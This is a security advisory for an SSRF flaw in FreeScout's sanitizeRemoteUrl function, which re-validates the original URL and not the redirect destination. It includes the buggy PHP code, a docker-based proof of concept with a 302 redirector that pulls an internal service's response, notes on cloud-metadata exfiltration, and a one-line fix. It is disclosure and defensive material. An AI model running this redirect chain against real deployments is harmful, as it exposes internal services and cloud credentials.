SSRF via Helper::sanitizeRemoteUrl: redirect destination not re-validated, allowing internal HTTP / cloud-metadata access

High **freescout-help-desk** published **GHSA-22wf-848c-c856** 2 weeks ago

Package

freescout-help-desk/freescout

Affected versions

<1.8.217

Patched versions

1.8.217

Description

Summary

`Helper::sanitizeRemoteUrl()` in `app/Misc/Helper.php` follows HTTP redirects via `curlGetLastRedirectedUrl()` but then re-validates the **original URL** instead of the **final redirect destination**. An attacker who can supply any URL that passes the initial host check can redirect FreeScout to internal HTTP services (cloud metadata, internal APIs, RFC1918 ranges) that would normally be blocked.

A live in-network reproduction in an isolated docker sandbox successfully exfiltrated bytes of an internal-only HTTP response body via a 302 chain.

Affected versions

`<= 1.8.216` (tested against commit `e6fe63e71f37b5b9683454edcf5a40e4288c0e36`).

The `sanitizeRemoteUrl` function received an unrelated improvement in v1.8.209 (release notes: "Improve `Helper::sanitizeRemoteUrl()` function") but the variable-swap bug at line 1914 is **not** addressed by that change.

Root cause

`app/Misc/Helper.php`, lines 1903-1921:

```
public static function sanitizeRemoteUrl($url, $throw_exception = false, $follow_r c
{
    if (!self::checkUrlIpAndHost($url, $throw_exception)) {
        return '';
    }
    if ($follow_redirects) {
        $last_redirected_url = self::curlGetLastRedirectedUrl($url);
        if ($last_redirected_url != $url) {
            if (!self::checkUrlIpAndHost($url, $throw_exception)) {  // BUG: should be $
                return '';
            }
        }
    }
    return $url;
}
```

The local variable name `$last_redirected_url` documents the intended check. The fix is a single-token change.

Reachable entry points

`Helper::sanitizeRemoteUrl` is called from `Helper::downloadRemoteFileAsTmp` and `Helper::getRemoteFileContents`, which are reachable via:

- `app/Customer.php:1499` — customer **photo URL** (any agent can edit)
- `app/Http/Controllers/ModulesController.php:260` — module download URL (admin)
- `app/Thread.php:1100` — inbound email attachment processing (system-level, no auth)

The inbound-email-attachment path is particularly impactful because it requires no authentication — an attacker need only send an email to the help desk with an inline image whose URL points at an attacker-controlled redirector.

Reproduction (live, end-to-end, docker-only)

```
NET=validation_freescout-net   # FreeScout's docker network

# 1) Internal-only HTTP target on the same network. Container IP lands in
#    the 172.16.0.0/12 range, which checkUrlIpAndHost correctly blocks.
docker run --rm -d --name secret-internal --network "$NET" python:3.11-slim sh -c '
cat > /a.py <<PY
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(s):
```

```
        b=b"INTERNAL_SECRET_DOC: cloud-iam-token=AKIA..."
        s.send_response(200); s.send_header("Content-Length",str(len(b))); s.end_headers
    def log_message(s,*a,**k): pass
HTTPServer(("0.0.0.0",80),H).serve_forever()
PY
python3 /a.py'

# 2) "Attacker-controlled public host" — a 302 redirector
docker run --rm -d --name ssrf-redirector --network "$NET" python:3.11-slim sh -c '
cat > /a.py <<PY
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def do_GET(s):
        t=parse_qs(urlparse(s.path).query).get("to",["http://localhost/"])[0]
        s.send_response(302); s.send_header("Location",t); s.end_headers()
    def log_message(s,*a,**k): pass
HTTPServer(("0.0.0.0",8000),H).serve_forever()
PY
python3 /a.py'

# 3) Trigger from inside freescout-app. Simulate the attacker controlling a
#    public-resolving hostname by adding it to remote_host_white_list.
docker exec freescout-app php -r "
  require '/var/www/html/vendor/autoload.php';
  \$app = require '/var/www/html/bootstrap/app.php';
  \$app->make(Illuminate\\Contracts\\Console\\Kernel::class)->bootstrap();
  config(['app.remote_host_white_list' => 'ssrf-redirector,172.22.0.5']);
  echo App\\Misc\\Helper::getRemoteFileContents(
    'http://ssrf-redirector:8000/?to=http://secret-internal/'
  );
"
# Expected without the bug: empty (redirect destination is in 172.16/12 blocklist).
# Actual: INTERNAL_SECRET_DOC: cloud-iam-token=AKIA...
```

Impact

- **Internal network reconnaissance** (RFC1918 ranges)
- **Cloud metadata exfiltration** (AWS/GCP/Azure `169.254.169.254`)
- **Internal API access** (any HTTP-reachable internal service)
- **Scope change** (CVSS S:C): pivot from FreeScout web app to internal/cloud infrastructure

When chained with the inbound-email-attachment path, exploitation can occur with **no authentication**.

Suggested fix (one-line)

```
--- a/app/Misc/Helper.php
+++ b/app/Misc/Helper.php
@@ -1911,7 +1911,7 @@ class Helper
             $last_redirected_url = self::curlGetLastRedirectedUrl($url);
```

```
            if ($last_redirected_url != $url) {
-               if (!self::checkUrlIpAndHost($url, $throw_exception)) {
+               if (!self::checkUrlIpAndHost($last_redirected_url, $throw_exception)) {
                    return '';
                }
            }
```

Distinction from prior advisories

Different from GHSA-fg98-rgx6-8x4g (CVE-2026-40566), which is a separate SSRF in IMAP/SMTP connection-test endpoints (`fetch_test`, `send_test`, `imap_folders`). That advisory's fix does not touch `sanitizeRemoteUrl`.

Disclosure

Discovered 2026-04-17 / 2026-04-18 by automated security analysis (web-vuln-agent). 90-day disclosure window: public disclosure planned 2026-07-17 unless a patched release is available earlier.

Severity

High 7.7 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVE ID

CVE-2026-41905

Weaknesses

▶ CWE-918

Credits

whatisproblem Reporter